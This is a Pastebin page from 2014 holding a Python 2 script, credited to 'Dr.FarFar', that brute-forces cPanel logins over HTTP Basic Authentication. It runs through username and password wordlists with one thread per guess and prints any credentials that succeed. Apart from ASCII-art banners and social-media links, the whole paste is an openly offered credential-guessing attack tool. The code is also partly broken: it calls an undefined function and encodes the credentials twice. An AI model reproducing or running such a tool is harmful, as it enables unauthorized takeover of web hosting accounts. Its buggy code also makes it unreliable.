Dr_FarFar

[+] Cpanel Brute BruteForcer iN Python | Dr.FarFar

Jun 16th, 2014
630
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 6.83 KB | None | 0 0
  1. /***
  2.      ▄▄▄▄▄▄▄▄▄▄   ▄▄▄▄▄▄▄▄▄▄▄     ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄
  3.     ▐░░░░░░░░░░▌ ▐░░░░░░░░░░░▌   ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌
  4.     ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌   ▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌
  5.     ▐░▌       ▐░▌▐░▌       ▐░▌   ▐░▌          ▐░▌       ▐░▌▐░▌       ▐░▌▐░▌          ▐░▌       ▐░▌▐░▌       ▐░▌
  6.     ▐░▌       ▐░▌▐░█▄▄▄▄▄▄▄█░▌   ▐░█▄▄▄▄▄▄▄▄▄ ▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄▄▄ ▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄█░▌
  7.     ▐░▌       ▐░▌▐░░░░░░░░░░░▌   ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌
  8.     ▐░▌       ▐░▌▐░█▀▀▀▀█░█▀▀    ▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀█░█▀▀ ▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀█░█▀▀
  9.     ▐░▌       ▐░▌▐░▌     ▐░▌     ▐░▌          ▐░▌       ▐░▌▐░▌     ▐░▌  ▐░▌          ▐░▌       ▐░▌▐░▌     ▐░▌  
  10.     ▐░█▄▄▄▄▄▄▄█░▌▐░▌      ▐░▌  ▄ ▐░▌          ▐░▌       ▐░▌▐░▌      ▐░▌ ▐░▌          ▐░▌       ▐░▌▐░▌      ▐░▌
  11.     ▐░░░░░░░░░░▌ ▐░▌       ▐░▌▐░▌▐░▌          ▐░▌       ▐░▌▐░▌       ▐░▌▐░▌          ▐░▌       ▐░▌▐░▌       ▐░▌
  12.      ▀▀▀▀▀▀▀▀▀▀   ▀         ▀  ▀  ▀            ▀         ▀  ▀         ▀  ▀            ▀         ▀  ▀         ▀
  13.  
  14.                          
  15.                                              
  16. ~~~ :xD: Have Fun. Don't Forget To Bookmark This Website :xD:
  17. ~~~ https://www.FaceBook.com/Dr.FarFar
  18. ~~~ http://Dr-FarFar.BlogSpot.com/
  19.  
  20. */
  21.  
  22. ########################################################################################################################
  23.  
  24. #!/usr/bin/python
  25.  
  26. import time,random,base64,sys,threading,urllib2,httplib
  27. from copy import copy
  28.  
  29. def stoker():
  30.  print '''
  31.   +-+-+-+-+-+-+ +-+-+-+-+-+
  32.   |C|p|a|n|e|l| |B|r|u|t|e|
  33.   +-+-+-+-+-+-+ +-+-+-+-+-+
  34.  
  35.   [+] Cpanel Brute Brute Forcer iN Python
  36.   [+] usage :  ./script.py server port user.txt pass.txt
  37.   '''
  38.  
  39. def timer():
  40.     now = time.localtime(time.time())
  41.     return time.asctime(now)
  42. if len(sys.argv) !=5:
  43.     stoker()
  44.     sys.exit(1)
  45. try:
  46.     users = open(sys.argv[3], "r").readlines()
  47. except(IOError):
  48.     print "[*]Error, Check Users List Path.\n"
  49.     sys.exit(1)
  50. try:
  51.     passwd = open(sys.argv[4], "r").readlines()
  52. except(IOError):
  53.     print "[*]Error, Check Your Password List Path.\n"
  54.     sys.exit(1)
  55.  
  56. passlist = copy(passwd)
  57.  
  58. def reloader():
  59.     for word in passlist:
  60.         passwd.append(word)
  61. def getpw():
  62.     lock = threading.Lock()
  63.     lock.acquire()
  64.     if len(passwd) != 0:
  65.         value = random.sample(passwd,  1)
  66.         passwd.remove(value[0])    
  67.     else:
  68.         print "\n[*]PathList Reloading ~ Changing User..\n"
  69.         reloader()
  70.         value = random.sample(passwd,  1)
  71.         users.remove(users[0])
  72.        
  73.     lock.release()
  74.     if len(users) ==1:
  75.         return users[0], value[0][:-1]
  76.     else:
  77.         return users[0][:-1], value[0][:-1]
  78. def anonghost(url):
  79.    
  80.     req = urllib2.Request(url)
  81.     try:
  82.             handle = urllib2.urlopen(req)
  83.     except IOError, e:              
  84.             pass
  85.     else:                              
  86.             print "[*]Cannot Open The Page.\n"
  87.             sys.exit(1)
  88.  
  89.     if not hasattr(e, 'code') or e.code != 401:                
  90.             print "\n[*]An Error Occured While Loading Page."
  91.             sys.exit(1)
  92.  
  93.     authline = e.headers.get('www-authenticate', '')    
  94.          
  95.     if not authline:
  96.             print '\n[*]Basic Authentication Header Not Found.\n'
  97.             sys.exit(1)
  98.     else:
  99.         return authline
  100. class pakistani(threading.Thread):
  101.     def run(self):
  102.         username, password = getpw()
  103.         try:
  104.             print "-"*12
  105.             print "UserName: ",username,"Password: ",password
  106.             auth_handler = urllib2.HTTPBasicAuthHandler()
  107.             auth_handler.add_password("cPanel", server, base64encodestring(username)[:-1], base64encodestring(password)[:-1])
  108.             opener = urllib2.build_opener(auth_handler)
  109.             urllib2.install_opener(opener)
  110.             urllib2.urlopen(server)
  111.             print "\t\n\nUsername: ",username,"Password: ",password,"-- Logged iN Successfully."           
  112.         except (urllib2.HTTPError, httplib.BadStatusLine), msg:
  113.             print "An error occurred: ", msg
  114.             pass
  115.        
  116. stoker()
  117. if sys.argv[1][-1] == "/":
  118.     sys.argv[1] = sys.argv[1][:-1]
  119. server = sys.argv[1]+":2082"
  120. if sys.argv[2].isdigit() == False:
  121.     print "[*] Port Should Be A Number\n"
  122.     sys.exit(1)
  123. else:
  124.     port = sys.argv[2]
  125. if sys.argv[1][-1] == "/":
  126.     sys.argv[1] = sys.argv[1][:-1]
  127. server = sys.argv[1]+":"+port
  128.  
  129. print "[!] Server: ",server,"[!] Port: ",port
  130. print "[!] Usernames Loaded: ",len(users),"[!] PassWords Loaded: ",len(passwd)
  131. print "[!]",anonghost(server), "[!] Started ",timer(),"\n"
  132.  
  133. for i in range(len(passwd)*len(users)):
  134.     work = pakistani()
  135.     work.setDaemon(1)
  136.     work.start()
  137.     time.sleep(1)
  138. print "\n[!] Job Finished -",timer(),"\n"
  139.  
  140. ########################################################################################################################
  141.  
  142.         https://www.facebook.com/Dr.FarFar
  143.         http://Dr-FarFar.BlogSpot.com/
  144.  
  145.         ________         __________                __________                
  146.         ___  __ \___________  ____/______ ____________  ____/______ _________
  147.         __  / / /__  ___/__  /_    _  __ `/__  ___/__  /_    _  __ `/__  ___/
  148.         _  /_/ / _  /___ _  __/    / /_/ / _  /    _  __/    / /_/ / _  /    
  149.         /_____/  /_/ _(_)/_/       \__,_/  /_/     /_/       \__,_/  /_/    
  150.                                                                              
  151.                              ~\ Dr.FarFar /~
Advertisement
Add Comment
Please, Sign In to add comment